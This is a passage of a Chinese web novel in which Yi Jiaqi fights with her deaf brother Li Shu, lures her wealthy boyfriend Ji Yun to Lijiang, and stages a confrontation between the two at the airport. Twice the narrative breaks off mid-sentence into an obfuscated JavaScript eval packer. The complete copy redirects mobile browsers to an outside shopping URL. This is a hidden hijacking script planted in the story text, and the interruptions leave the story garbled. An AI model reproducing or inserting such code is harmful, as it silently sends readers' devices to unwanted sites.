从看守所出来的时候,李树简直不敢看易佳期的眼睛,只低着头,脱了脏袜子,穿上鞋,默默跟在身后。 两个人之间很沉默。易佳期是心烦,不想说话。 李树是心虚,不敢说话。 只有鹿东置身事外,大剌剌地叫住李树,另一只手指着看守所路边的标语,“这条说得太对了。打输住院,打赢坐牢,年轻人,你好好品品。” 易佳期没有回头,鹿东叫住李树的这会功夫,她已经走了很远,李树礼貌性地冲鹿东点了点头,随后又闷着头朝易佳期的背影追过去。 一路上,两个人就保持着不远不近的距离。 到了客栈,易佳期径直上楼,李树在楼下坐了一会,洗了把脸,还是硬着头皮上了楼。 一推开门,眼前的场景不由地让他一愣,易佳期戴着耳机靠在床上,而地上飘窗沙发上、甚至他的地铺上扔得全都是易佳期的衣服,他上前随手拿起一件,下意识闻了闻。 是穿过的。 他往前走了几步,屋里除了这些乱扔的衣服,其它的摆设,他走时什么样,回来还是什么样,他找到平时洗衣服的盆,往里一看,里头是五颜六色的内衣。 这个他没闻,但应该也是穿过的。 易佳期看他跟个狗似的,满屋子乱闻,直接一个遥控器砸过去,“你干什么?” 见她问了,李树才敢开口说:「这些衣服都是穿完没洗的吗?」 说到这个易佳期就来气,“不然呢,我这么忙,要我自己洗吗?你倒是潇洒,拍拍屁股上看守所享福去了,给我留这么多烂摊子。” 她不禁回想这一周的心路历程,李树进去的前两天,她心里的确没什么波澜,在她眼里,这和李树之前几次蹲局子没什么区别。直到,脚边堆积的脏衣服越来越多、鞋面上的脏污越来越大,饭桌上的菜式越来越简单,易佳期才一下反应过来,哦,李树不在。 多奇怪,明明早就知道的事情,却又好像重新被通知了一遍。 易佳期当然不爽,她不是不会做这些事情,她像个孤儿一样长大,这些事情从小就做得来。只能怪李树太殷勤,这一个月前前后后,将这些事情全部接手了。 杂事就是这样,一旦有一段时间不做,后面就再也做不来了,不是不会了,而是不想了。 别的不说,李树对她不耐烦的情绪尤为敏感,他飞速收拾好房间里要洗的衣服,抱着盆子下楼去洗,好让她眼不见心不烦。 洗完衣服再上去,易佳期已经蒙上被子睡起了午觉。李树轻手轻脚晒好了衣服,到这会,才闲下来,有时间洗个澡。 易佳期是两点醒的,她的作息还算规律,闹钟响了两三声,便一骨碌坐起来。 这么眼睛一闭一睁之间,房间里已经变了光景,满地的脏衣服,已经变成了阳台上随风的彩旗,显得整个房间都宽敞了不少。 见她起床,李树自觉地拿着梳子过来,「我给你梳头吧。」 易佳期虽然坐起来了,但还是半睡半醒地状态,嗯,梳吧,她说。 李树快步走过去,走到跟前时,易佳期却抬腿把脚从床上放下来,一副要下床的样子,“哦,梳头,我忘了。”易佳期看李树过来,想抬腿翻回床上,却又觉得麻烦。 她头一低,抵在了李树的胸膛上,“算了,就这样梳吧。” 李树觉得不好,但惯性使然,还是抿唇拿起梳子,小心地分着她的头发。 靠的太近,易佳期很轻易闻到李树身上的味道,她嗅了嗅,想说话,又想到他听不见,于是在他背上写:“你洗澡了?” 李树的身体僵硬了一下,片刻,他也照猫画虎,给易佳期回话,“是的。” 易佳期把李树往前扯了扯,让他靠她更近,这样她坐着不用这么累。李树身上沐浴露的味道更重了,易佳期觉得奇怪,明明她俩用的沐浴露是一样的,但这么靠近闻着,却怎么都觉得李树身上的味道和她不太一样。 也许是清新的气味,也许是头顶若隐若现的触摸,莫名的舒适让易佳期整个人放松下来,借着困意,她抬手揽住李树的腰,侧着脸抱住了他。 不知道为什么,李树突然挣扎了几下,易佳期立即环住他,“别动,我困。” 话还没说完,怀里的身体就以光速僵硬起来。 与此同时,她后知后觉地感觉到,她的肚子上,此刻,正有一个东西杵着她。 爷爷的,易佳期终于知道李树身上那股味是什么了。 发情的骚味。 28. 青皮 “你….”事发太过突然,饶是易佳期见多识广,也一时真想不好怎么开口。 她的话断在开口的瞬间。 但李树像听到了她没说完的话似的,火速弹开了身体。下身直愣愣的反应,几乎像扒光了他浑身的衣服,他弓着身子,拿上衣的下摆去盖。 可惜身上这件洗了又洗,几近透明的背心早就没了弹性,易佳期眼睁睁看着李树从惊诧到面如死灰。 最后,他抿了抿苍白的嘴唇,咬牙用手虚空掩住了下身。 易佳期心情也没好到哪里去,大中午的,觉还没睡醒,就被人拿枪指着,还是李树这个狗东西,真是晦气死了。 “你就不打算解释一下?”易佳期冷冷开口。 李树看看她,又看看下面,两只手抬也不是,遮也不是。 “算了,你还是闭嘴吧,”易佳期往下扫了他一眼,毫不留情道:“辣眼睛。” 李树苦笑,配上他微躬的站姿,显得整个人更局促。 “你这个多久能下去?”易佳期问。 李树摇头,表示他也不清楚。 易佳期冷嗤,又在这里装清纯,她抱一下都能硬,私底下指定是个老银魔。 她在脑子里按照这个人设畅想了一下李树,顿时浑身起了一身鸡皮疙瘩。 易佳期赶紧打住,“那你之前都怎么弄?” 李树抬起一只手,勉强比划:“洗冷水澡。” 易佳期扔给他一条毛巾,手往外指,“去楼下公共浴室洗。” 李树拾起毛巾,逃跑一样地冲出门去。 易佳期终于能站起来,在房间走了几圈,才压下去心头的烦闷。 哪想,一阵风吹过,浴室的门又被刮开。 一股包着香精味道的水汽,瞬间弥散出来,椰子味,带着热。 易佳期耳根莫名一烫。 刚才李树那样,她都没什么反应,可这股微妙的、扑面而来的热汽,却让她感受到一丝迟来的尴尬。 连她自己都想不通,这丝尴尬从何而来。 明明是再正常不过的场景。 平时不都是这样么,浴室小,热汽散得慢,上一个人洗完,下一个人进去的时候,整个房间还都是湿漉漉的香气。 住在一起一个来月了,她洗完他洗,他洗完她洗,不是一直好好的吗? 都怪李树,想来想去都只能怪李树。 乱发情,乱发骚,把这房间也给弄得骚哄的。 后面几天,说不上谁躲谁,但两个人没再怎么见上面。易佳期没把这事往心上搁,出录取的这段时间,她和季昀续了联系,现下一门心思都在季昀身上。 季昀这事吧,说来话长,简单来说,就是季昀家里人纵容他胡闹了三个来月,终于受够他的撒泼打滚,直接没收他的电子设备,断掉他的生活费,最后还把控了他的志愿填报。 “直到前几天尘埃落定,我老妈老爸才解除了我的禁闭。” “我老爸还把我的手机摔烂了,赔了我一个顶配我才原谅他。” 易佳期从他的消息里读出浓浓的炫耀味道,这是独属于从前季昀的,让人厌恶得牙痒的语气。 “所以呢,你的尘埃落去哪了?”虽然已经知道了结果,但她还是想让季昀亲口讲给她听。 季昀那边斟酌了片刻,回复她:“就,滑档了呗。估计我妈压根看不上我这个分数能上的学校,不然也不至于滑档,她现在给我两个选择,复读一年或者准备申请预科。” 果然,有钱托底就是不一样,退路可真多。真想不明白,这样一个蠢货,怎么有那么多人为他的未来精打细算、出钱出力。 易佳期心里很闷,尤其是季昀那副看似抱怨、实则卖弄的嘴脸,更是倒胃口。 她先观望,“所以你打算怎么选?” 季昀:“我想先听听你的意见。” “我的意见?” “毕竟我们在谈恋爱,对吧?而且,我家里人….知道我们之间的事了。你考上北大的消息在咱们县上是个大新闻,我老妈老爸也听说了,她们知道我在和你谈恋爱,还挺高兴的。” “你到底想说什么?” “我家里的意思是,让我先在北京读个预科,这样就不算异地恋,而且你们学校出国交换的项目很多,到时候我们兴许可以一起出国,在国外体验两年生活,如果喜欢那里,我老妈可以想办法给咱俩办移民。” 易佳期眼珠子都在充血,经历了三个多月低谷期,她这只不过短短放手十来天,季昀又翘起了小资的尾巴,她甚至不用和他见面,也能想象到此刻季昀膨胀的富二代气焰。 这不仅仅是回光返照,易佳期能感应到,高考失利的轻轻揭过,甚至让他那恶臭的骄矜光速进化了。 真是可恨啊,看着聊天框里,对面密密麻麻的消息,明明是默认的字体,但易佳期就是觉得,季昀打出来的字都比别人丑陋很多。 即便季昀的美梦里也为她规划出位置,但她那心中不愿季昀得意的念头,还是盖过她对国外的憧憬,更何况这种憧憬多半只是泡影,她当即拒绝了季昀的提议。 这个话题以冷场告终。 不过,易佳期给了季昀第三个选择,“志愿征集听说过吗,这次北京好几个学校没有录满,你去试试。” “既然做不了决定,就交给天意吧,如果异地,我们就分手。” 志愿征集大概要两三天才出结果,易佳期有意冷落季昀,没再和他聊天。如今摊子不摆了,该聊的媒体也聊完了,易佳期的日子留出闲暇。 她终于有时间在丽江各处逛逛。抽空去文海看看日落,还跑到东巴谷和人讲了价钱,骑了一下午的马。 在她准备连续第三天出门闲逛的时候,她被鹿东叫住了,是鹿东买的投影仪到了。这事鹿东念叨挺长一段时间了,这几年丽江的民宿卷得很,周围不少老板都打算翻修客栈。鹿东这家客栈当时装修时,咬牙把二楼三楼统一做了落地窗,这么多年过去了,凭借着那一扇扇将雪山框进去的窗棂,鹿东的客栈一直都不愁客源。所以,她想了又想,只能往公区使劲,打算在花园里扎个幕布,弄个露天电影院。 幕布扎好了,但新买的投影仪,调来调去,投到幕布上的影像还是变形,“这儿就你最有文化,帮姐看看怎么搞。”鹿东已经完全掌握了找她干活的诀窍。 易佳期往院里扫了一眼,没什么人,想着投影仪这东西她在学校也没少调教,耽误不了她多长时间,她便索性撂下包,应下来。 投影仪很快便收拾好了,“问题出在高度上,所以,你只调参数怎么调都调不好。” “这样啊,我说怎么越调越奇怪。” 易佳期转过身去拿包,还没弯下身子,视线就在途中与一道踌躇的身影撞上。 那身影瘦条条,简直是根直溜溜的秃树苗,易佳期都不用往上看那张熊脸,就知道是谁。 对面很显然没想到她突然转身,猝不及防之下,朝她挤出一个比哭还难看的笑脸。 熊样儿。易佳期下意识笑话他。 反应过来之后,她又板起脸,李树讷讷躲开视线,但他没转身走,反而朝她这边慢吞吞移动。 见状,鹿东好事地凑过来,“你和你弟是不是又闹别扭了。” 易佳期没说话,鹿东当作默认,摇头晃脑道:“我就知道,不过这回倒没见你揍他,也是,你弟大了,青春期要面子,揍多了以后说不定还不服管。” 易佳期嘴角抽了抽,还揍他呢… 照李树那架势,揍他都怕把他揍应。 鹿东说话的功夫,李树吞吞吐吐走到两人跟前。 他的肩背耷拉着,站定前先探头看了看她的脸色,随后他才转向鹿东,抬手比划了几下。 鹿东一头雾水,“啥意思,我又不是你姐,我也看不懂啊我,你小本本呢?” 见鹿东话里提到她,李树又开始偷偷瞄她,易佳期心里那个火啊,什么意思,还能什么意思,除了他,就她会手语呗,爷爷的,这臭哑巴还敢使唤起她当翻译来了。 但她又怕鹿东看出端倪。 易佳期心里那个恨呢,气得声音都大了一度,“鹿东姐,他想和我聊聊,你就先走吧!” 鹿东背对着她,被她吓了一跳,差点蹦起来,“我都让你们搞晕了,这是你在说 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他现在懂了,因为那时他不怕,不像其它同学那样,怕通知家长,怕扣分,怕受班主任的冷脸,怕丢人,怕处分计入档案,背上一辈子。他没家长,没集体荣誉感,也没有未来,学校管不住他。 但易佳期不一样,他怕易佳期在心里给他扣分,怕易佳期对他冷脸,怕被易佳期计入档案,怕易佳期把他开除。 “说不说,不说我走了。”易佳期等烦了。 李树慌忙立正站好,「等一下,我准备好了。」 他深吸一口气,「那天,对不起,我好久没有那样过了,我也不知道怎么回事,可能是那天我还没吃饭,我太饿了,我…..」 “停停停,”李树含水量99%的废话里,易佳期火速抓住了重点,“好久没那样过了?” “你之前经常那样?!”易佳期眉头紧紧锁起来。 「没有!」李树两只手一起摆,「就一次。」 「之前。」 易佳期追问:“那一次是什么时候?” 李树低下头去,良久,才乞求道:「能不能不说。」 “现在知道丢人了,”易佳期越想越气,来回踱步,“我都不知道你成天在想什么?你知不知道你那样特别恶心,要是所有人都像你这样,随时随地发情,那人类还进化干什么,都他爷爷的光着身子开impart呗!” 「我知道错了。」 “你知道错了有什么用,我现在一想到被你那根东西指着,我就浑身不自在,你把我好不容易重建起来的,接纳你的心情全都毁了。人和人之间最贵的就那点信任了!懂不懂?” 不知道为什么,看着易佳期的口型,李树忽而打了个寒颤。「你是不是不想要我了,不想让我跟着你了。」 易佳期实话实话:“我不知道。”发生了这种事,她的确应该重新考虑一下,李树的去留。 她这句含糊的回答,不知道是怎么刺激到李树了。 李树再抬手时,情绪明显激动了很多。 「是所有人这样都让你恶心,还是只有我,要是别的男生这样….」 李树话没说完时,就已经知道自己说错话了。但说出去的话,泼出去的水。 易佳期的脸色一下黑了,这话一出口,两个人之间的气氛,从她单方面的教训,瞬间有往吵架升级的趋势。 她本应撒开膀子,极尽刻薄地回呛,但她只是顺着李树的话抽丝剥茧,厉声道:“什么叫别的男生,谁?说清楚。” 李树扫了一眼自己脚上的鞋,又飞快把视线挪开。 一个名字应召出现在他脑子里。 但他只是一时应激,并不是疯了,他将这个名字藏进他的回答里。 「没谁,你的那些男朋友。」 从那天之后,易佳期一直是窝着火的状态,李树这个奇葩,跟头狗熊似的不通人性,说这种话,简直是送上门来让她羞辱。 那她也不再藏着掖着,将心里话脱口而出:“你觉得呢,他们是什么东西,你又是什么东西,和他们比?我和他们还能上床呢,我和你能吗?” 29. 柠檬 李树满脸惊愕。 易佳期的话直白到超出他的语言边界,他完全失去了反应能力,像个木头一样僵在了原地。 连易佳期自己都没想到,她真的就这样把话说出口。想来想去,自从来到云南,太多人太多事不再乖乖受她控制,她急于将一切扳回正轨。 不受控制的感觉不止来源李树,竟然有一部分还来源她自己。 同时,这几天,她翻来覆去地想,这件事让她不得不正视,自己面临着一个非常严峻的现实问题。 那便是。 李树是个男的。 还是一个同她一样,浑身是劲无处施展的青少年。 易佳期很难将李树和男人联系起来,事实上,她甚至很难将李树和人联系起来。这种轻蔑,经年累月,让她忽视了许多事情。 而眼下最最重要的是,她从没想过要和李树搞一起去。易佳期不是没有交往过草包,男生嘛,都很无趣,脑袋就像篮球一样,有形状但很空。比起和他们在一起时的心情、体验,她更在意,他们长得漂不漂亮,穿着够不够时髦,有没有唬人的社交人设,能不能让她拿得出手炫耀。 从小到大,每一年的平安夜,她都要做收到礼物最多的那个人,人生也是如此,老师的偏爱,优越的成绩,含义深远的姓名,漂亮别致的交往对象,都是礼物最外层绚丽夺目的包装纸。当她被这些包装精美的礼物簇拥,所有人都会羡慕她。 李树不一样。在她的平安夜里,李树只是颗散称的苹果。 也许比那还要遭。 他的外貌虽然是糖果纸一样,五颜六色亮晶晶,让人挪不开眼,但他是聋哑人,可怜虫,如果让李树站到她身边,旁人怜悯的眼神,会从李树身上带过,并扫到她。这是她绝对无法容忍的。 谈心谈心,两个人各怀心思,自然没得谈。 不欢而散。 易佳期很不意外,从小到大李树都这样,不知道是说不出来还是不想说,总之,有什么事他都憋在心里,八杆子打不出一个屁。每次真得想和李树正经聊点什么,总觉得中间隔着一堵墙。 很费劲,墙很厚,站在墙面前,和他沟通总要扯着嗓子吼。 而也许是断联数年,这段时间,易佳期隐隐发觉,两个人之间的那堵墙变得更厚,更加难以靠近了。 幸好,有失必有得,李树让她头疼的同时,季昀那边的形势便一切向好。 季昀志愿征集的结果出来了,录到了北京的一所公办,酒店管理专业,高不成低不就,却是易佳期精心挑选。 季昀说他家里人都不同意他去,为了打消他的念头,他妈承诺如果他选择出国,可以给他配一辆车,多少钱无所谓,随他选。季昀又说,他知道他老妈什么意思,其实他的高考成绩,申美本也申不到什么好学校,归根结底,是他妈妈根本不相信他,觉得他就算复读,也就那样了。相比于在国内读个人尽皆知的二本,还不如撵他去国外,读个名头好听的野鸡院校。 “她们永远这样,面子比我重要。”季昀一副人间清醒模样。 易佳期没说什么,即使从想要达到的结果来看,她和季昀家人,也许还有季昀本人,已经达成对峙,并且对方,率先抛出了季昀难以拒绝的诱饵。 她平静的态度反而让季昀坐不住,他急吼吼地问她怎么办,她也只说,你决定就好,我尊重你。 当时季昀的反应易佳期记得很清楚,他先是长长地呼吸,最后,那口气却没有咽下去,季昀重复她的话,尊重我,如果我真的选出国呢,你也要尊重我和我分手? 难道你一点都不想左右我的看法,劝都不打算劝我,我们分不分手对你来说,是不是一点都不重要。 你说这话就没意思了,易佳期语气平平。 如果季昀真的一点也不想出国,那么打给她的这通电话应该是报喜,而不是问她怎么办。 当完全看穿一个人的假面,那么他那让人烦躁的卖弄、谎言,反而会变得趣味无比。 易佳期并没有戳穿他,她又说,你是一个独立的个体,任何人都不该左右你,我也不会。 季昀很快说,我就想让你左右我,我就想听你的。 易佳期笑他,让他别无理取闹。 季昀沉默了一会,突然转变话题,问她最近和靳阳走那么近,回他评论,还给他点赞。易佳期说出门在外靠朋友,靳阳也考到了北京,大家好歹三年同窗,以后说不定能互相帮衬,关系自然要处好一点。 季昀最后心不在焉地挂了电话。 再次看到季昀的消息,是在朋友圈,季昀发了一张9月2号的机票,目的地北京,配文:不信缘分天定,喜欢就要争取。 易佳期不意外,她实在是太了解季昀了,从某种意义上来说,她比他的家里人更了解他。 他的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“那你还有多少钱,够撑到开学吗?” “那必须没问题,我今年的压岁钱没动呢,都让我揣包里带出来了,我包里还有一个打算送我姥爷的金表,实在不行到时候卖了换钱。就是走得急,没带笔记本,现在每天在酒店只能看电视,太无聊了。” 易佳期盯着他发来的消息,忽然挑了挑眉,“那要不你来找我玩吧。” “真的吗?幸福来得也太突然了,你在哪,我现在去找你?” “丽江。“ “云南啊,我小时候去过,风景挺好的。” “是呢,”易佳期眉开眼笑,想到季昀的贱样,又想到李树的熊样,她心中的想法逐渐成型,“过来吧,我保证你到这里之后的每一天,都有乐子。” 30. 绿火车 几天过去了,易佳期早不在气头上了,和李树两个人在客栈度过相安无事的两天,但到底心里有个疙瘩,易佳期不想和李树说话,李树也没再来找她求和好,只是经常鬼头鬼脑地在她周围刷存在感,易佳期高兴时就当没看见,没心情时白眼一翻,随手扔个东西砸过去,赶流浪狗一样驱走他。 这种情况一直持续到季昀落地丽江那天,才得以改变。 季昀对跑云南来找易佳期玩这件事,接受过于良好,在她提议的当天就定了机票,随后便开始直播一样给易佳期汇报动态。 从订酒店到收拾行李,到退房,再到打车去机场,再到值机,再到登机,终于捱到他落地的消息。 易佳期提前许诺了要去接他。出门之前,易佳期专门去了厨房一趟。 李树最近自觉自己不讨喜,除了睡觉的时候,其它大部分时间都老实待在厨房,扯个板凳一坐一天。 见到她进来,李树一个激灵从板凳上起来,下意识窜到灶台前掂锅拿碗,反应过来后,他才放下铁锅,有些窘迫地问:「你怎么上这来了。」易佳期不喜油烟味,进厨房的次数屈指可数。 易佳期不搞寒暄那一套,开门见山,冲他摇手道,“走,跟我去接个人。” 一切轻轻揭过,易佳期重新搭理他了,真让人意外。李树眼珠缓慢动了动,很想问她是不是不生气了,但潜意识里,又觉得不应该问这个问题。 “不去算了。”易佳期见他没动静,转头就要走。 李树抓紧跟上去,飞快给她打手语说:“我去,我跟你去。” 为表殷勤,他打完手语又小跑进院子,去拔还在充电的三轮车。 他这一套一套的,一气呵成,易佳期压根喊不住这头聋子,只能等他把车推过来,冷嗤道:“你知道去哪吗你就推三轮,我要去机场,30多公里的路,你自己蹬三轮去吧,看你死之前能不能摸到机场。” 李树不知道说什么,他只知道,他又惹易佳期生气了。 李树不想惹她生气,让她反感,但总是事与愿违,易佳期一看到他就没有好脸色,他不知道说什么样的话,才能说到易佳期心坎里,想来想去,只能怪他自己大脑空空,没啥文化,说话才那么不顺耳,他不禁想到那个人,如果他也像那样,会说漂亮话,是不是易佳期就不总那么生气了。 易佳期心里想的却是完全不同,她生气和李树说了什么无关,按照李树有限的见识,听到接人,理所当然觉得是要去火车站,火车站不远,而且丽江路况复杂,又是从古城出发,骑电车更方便点。但问题就出在这辆三轮车上。 一看到这辆三轮车,易佳期仿佛已经闻到了季昀身上那令人作呕的富人臭,她马上就能联想到,季昀看到这辆三轮车时,佯装惊讶的神情。他不会愚蠢地显露鄙色,或者说什么风凉话,成为受人指摘的刻薄劣坤。但他绝对会表现得像这辈子第一次看见三轮一样,围着三轮大声惊呼,随后自以为是地表示,坐三轮上路真是新鲜的体验,比汽车有意思多了! 扮演天真的王子,享受与“民”同乐的优越,是季昀最乐此不疲的戏码。很多人都被季昀唬住,只有她能透过季昀的笑脸,看穿他那流着臭脓的心灵。 所以,即使季昀是从火车站过来,不不,就算季昀是从古城口过来,她也绝对不愿骑着这辆三轮去接他。 绝不让季昀从她这里装到,是她同季昀之间,经久不息的较量。 这些心情,李树豌豆粒大的脑子是不会理解的,她不会说与李树,那就更不会说与其它人,有时候,独自享有清醒,还真是寂寞。 不过,想想马上就要到来的场景,易佳期心情重又明媚起来。 季昀已经下了飞机,坐上摆渡车,易佳期联系的车也到了,她带上李树一起赶往机场。 机场国内到达。 易佳期坐在出口处的花坛边上,两腿一岔,胳膊撑在膝盖上,看季昀给她发的消息。季昀的行李出了点问题,说要她等他一会。 易佳期只回了个??的emoji,随后她收起手机,往远处望,视线刚往外走就被打回来——李树直溜溜杵在她前面,站得跟个美国大兵似的,她想也没想,抬腿往他身上踢了一脚。 那一脚好巧不巧又踹在李树的屁股蛋上,易佳期发誓她不是瞄准踢的,只能说她和他的屁股蛋有缘分吧,兜兜转转还是你,命中率恼人。还好,李树这次反应不大,只是慢吞吞地转身过来看她。 易佳期扬下巴:“你也坐啊。” 李树躬了躬腰,低下些身子和她说话:「我给你看着人,我不累….」 易佳期当即牛眼一瞪,小牛见大牛,李树立马不犟了,摸索着坐下。易佳期抻直腿,侧着脸看他,顺着他刚才的话往下问:“奇怪,我都没说要接谁,你怎么帮我看着。” 李树也学她那样抻直腿,「你的朋友,我看见了,应该能认得出吧。」 这话说的也算对吧,要没有小时候那事,李树这杂碎妥妥算她的发小。两个人又在同一个高中,交际圈完全是同心圆。 说到交际,又想到即将到来的人,易佳期不自觉展开回忆,李树和季昀高中时有说过话吗?应该是没有吧,季昀那装货,嘴上不说,心里肯定看不起残疾人,要不是李树掰断他的手指,同窗三年,兴许他连李树的名字都不会记住。 易佳期笑笑,忽而对李树和颜悦色起来,“你说的没错,看见他,你肯定能认出来。” 见她笑了,虽然不知道是为什么,但李树也讨好地跟着咧开嘴。 这是这几天来,两人之间为数不多的,轻松氛围。 然而这份轻松愉快,却很快被一个飞奔而来的拥抱打破。 “+7!”易佳期好整以暇,懒散地朝着声源站起,不等李树反应,一个银色的行李箱便从他腿侧翩然滑过,紧随其后的,是一个斑斓的背影,随后,那道背影直直撞进易佳期的怀里。 下一秒,易佳期的手自然环到那人的腰上,那人顺势把头埋进她的肩。 一个女孩,一个男孩,一对恩爱情侣。 李树应该意识到一件事,或者说,他本应该意识到一件事,但他只是怔然愣在了那里,甚至忘了像易佳期那样站起来,他坐在花坛边上,仰头,注视着眼前两个人缱绻的拥抱。 “好了好了,”抱也抱了,易佳期继续往下推进,她拂开季昀,“你叫的车呢?” 季昀抱着她不撒手,“酒店派车来接,还没到呢。” “那你不能一直抱着我吧。” “我都一个多月没见你了,想你想得吃不下睡不着,女神,可怜可怜我呗。” 易佳期往他腰上捏了一把,“这膀大腰圆的,切你一块肉估计能炼油,还给我在这装上可怜了,再瞎说罚你两百块钱。” 季昀环在她背上的手一下收回去了,“膀大腰圆?”他不可思议地捏了捏自己的肚子,只有薄薄一层皮,“人言否?” 如果说和季昀谈恋爱有什么乐趣,那借着打情骂俏的名义,真心地辱骂他绝对是其中之最。易佳期得逞地捧腹大笑。 当然,她也没忘了今天另一位主角。 她偏头往李树那边看过去,罕见的,却只看到李树黑油油的头顶。 此情此景,他像一颗游离的句号。 易佳期皱眉,李树耳朵听不见,平时便常常盯着别人的脸,为得就是别人和他说话,他能第一时间回答。所以,几乎不管什么时候,只要她看李树,他的视线总是先一步接住她。 而这次,李树却刻意地埋着头,好像不想看到她要说什么似的。 但很快她便懂了,李树这人拳头硬,心却软。打了季昀,毁了他高考,估计良心上过不去,不知道怎么面对。 她能理解,却无法共情,反而觉得小题大做。有什么好内疚的,这贱人给点阳光就灿烂,这一个月,又是留学又是买车,狂得无法无天,再不让他难受难受,那还得了。 当然,安排这一出不全是为了膈应季昀,李树这段时间也没少飘,什么档次,还敢意/淫上她了。这下也好让他看看,什么叫差距,什么叫生殖隔离。 于是,她毅然决然将李树推到台前。“你怎么带这么多行李?这样,我弟也跟着来了,让他帮你拿个箱子。” 季昀有些不好意思,“我不是想着开学直接飞北京嘛,省得来回跑了。” “原来刚才你边上的是你弟呀,”说完他转身,也跟着她朝花坛边的方向看,面前的人头低着瞅不见脸,但看穿着打扮,约莫是个发育比较早的初中生,他刚才过来的时候,不是没看到易佳期和这小男生聊天,那个小氛围啊,看得他还有点酸,本来还想着温存之后,再找机会打探一下两人关系,没想到竟然是闹了个小乌龙,季昀霎时放下心来,挠了挠脑袋,“以前没听你提过呢。” 易佳期神色淡淡,“同母异父的弟弟,有什么好提的。” “啊?”季昀眉心一抬,神色有几分尴尬,不过好歹经商家庭出身在那摆着,从小没少耳濡目染,面子活还是会做的,季昀很快扬起笑脸,主动上前打招呼道:“你好,我叫季昀,你姐姐的…好朋友。” 易佳期哎了一声,从他后头绕过来,“你这样没用,他听不见,”她摆摆手让他靠边,随后抬手往那男孩肩头一拍,“喂,李树,跟我对象打个招呼。” “什么?”听到她口中的名字,季昀大叫出声,就在他几乎要怀疑自己幻听的瞬间,面前的人温吞地抬起脸,缓缓漏出那副让人咬牙切齿的尊容。 四目相接之时,季昀只觉得浑身火燎一般,从胃管烧到脑仁,几乎是一瞬间,他完全失掉了理智,飞身上前套住李树的脖子。 * 季昀下手下得突然,连易佳期都没反应过来,李树就被季昀套狗一样,攮到地上,一脸纯良地被季昀抡着拳揍起来。 易佳期不走心地发出一声惊呼,喊了几句别打了别打了,她便绕过两人,在李树刚才坐的位置坐下。 知道出不了事,她当然不急着拦。 季昀不会打架,这个易佳期是知道的,他那拳头都是软的,是个扇别人巴掌都能把自己手心扇肿的主儿。相比之下,李树的经验就比较丰富,挨揍时,知道缩身抱头,保护脏器和脑袋。 可惜,两个人的动静很快惊动周围的人,不少人远远伸着脖子看热闹,还有人对准她们掏出了手机。 不想成为别人茶余饭后的笑柄,易佳期只能叫停。 但季昀已经上头了,眼睛都是红的。 她懒得管他,精准地冲着李树的大腿踢,还不等她说话,李树却像会了意一样,膝盖一顶,两手锁住季昀的胳膊,顷刻间便将他反制,季昀还想挣扎,还好车到了,司机风风火火举着接机牌过来,这才三拖一地将季昀提溜上车。 酒店派的是辆五座商务,挺宽敞,不过再宽敞也就是个铁皮盒子,要说打架,那还是施展不开。上车前,季昀恶狠狠地冲李树放了狠话,说等着点,到了酒店再决一死战。 易佳期一看这不行啊,再打下去,季昀几个月来攒的窝囊气全让他给出了,那不就是给她自己添堵吗,她一合计也开始演戏,薅起李树领子把他提溜到后座,随即眼睛一瞪,护犊子的姿态冲着季昀,问他什么意思,是不是要把她弟弟给打死。 季昀一阵一阵揉着肚子,刚才李树那一膝盖,伤得他不轻,他忍住疼,口不择言道,不是同母异父吗,在班里你不是最烦他了?那时候可没见你多护着他。 易佳期来感觉了,“那是我的家事,我和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485778|201994||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他有矛盾,不代表你能当着我的面欺负他,再怎么样,他是我弟,血浓于水,他要有什么好歹,我怎么和我妈交代。” 季昀面红耳赤,“什么叫我欺负他,都这么久了,我的手一到阴天还难受呢。如果不是他,我就能堂堂正正和你考到一个城市,考个好学校,不至于和家里闹掰,我现在连家都回不去了!我怎么欺负他了,你心疼他的时候,怎么不考虑考虑我!” 她很快反驳:“你这话什么意思?别忘了是谁在你最灰心的时候去医院看你,所有人都觉得事不关己,只顾着复习刷分的时候,是我!请假去医院看的你。当时你说要让李树坐牢,我拦你没有?我为他说话没有?没有吧,我怎么做的,我答应和你交往,鼓励你一起和我去上大学!你以为我不知道你喜欢我?” 季昀反应过来,自以为抓住了她话里的漏洞:“所以你和我在一起是可怜我?还是因为我被你弟打了,你心里过意不去,才不得已想拉我一把?” 眼看着季昀露出受伤的神色,易佳期心中隐秘地涌起一阵悸动,她很想说你别给自己加戏,我才不关心什么李树,更不关心你的未来,从头到尾,我最关心的,只有你的痛苦。一听到你退步的消息,我做再多的试卷也不嫌累,别看你只考了个破二本,但我能考上北大,也有你的一份功劳呢。 但这样的畅快只能随便想想,毕竟,易佳期可不想现在失去季昀,她深呼一口气道:“你现在情绪很不稳定,等你冷静下来我们再谈吧,别让人家看笑话。” 这话让季昀头皮一凉,他后知后觉自己说话过分了,但易佳期和李树的这层关系把他架住了,他要是给易佳期道歉,倒显得他也原谅了李树似的,他只好梗着脖子,硬挺到酒店。 到了酒店,季昀黑着脸去前台取房卡。 易佳期随便在大堂找了个地方歇脚,季昀的行李被管家拿着,李树没什么活干,空着手守在她旁边,易佳期面上不显,但心情不错,视线活泼地在大堂里走动,走着走着,自然而然落在李树沉默的脸上。 老实说,李树这张脸长得是真好,身材也俏得很,一身小学生样式的衣服,穿他身上竟然挺有风格,也就是眼下的几块淤痕,显得有碍观瞻。 这一天又是挨揍又是演戏的,还没人提前知会他一声,估计得把他郁闷个够呛,但李树这副受气样,着实给易佳期败了火。她冷哼一声,对李树招手让他过来。 李树一瘸一拐地挪过来。易佳期让他坐下,她觉得没必要给李树解释,直接问她想问的,她说你还想跟着我吗? 李树很快点头,一点思考的过程都没有。 易佳期很满意,“那你就得听我的,季昀毕竟是我男朋友,一时半会吧,我也和他分不了。你跟着我,迟早你们得见面。要想过得去,这事必须得给他一个交代,等下我让你怎么做你就怎么做。” 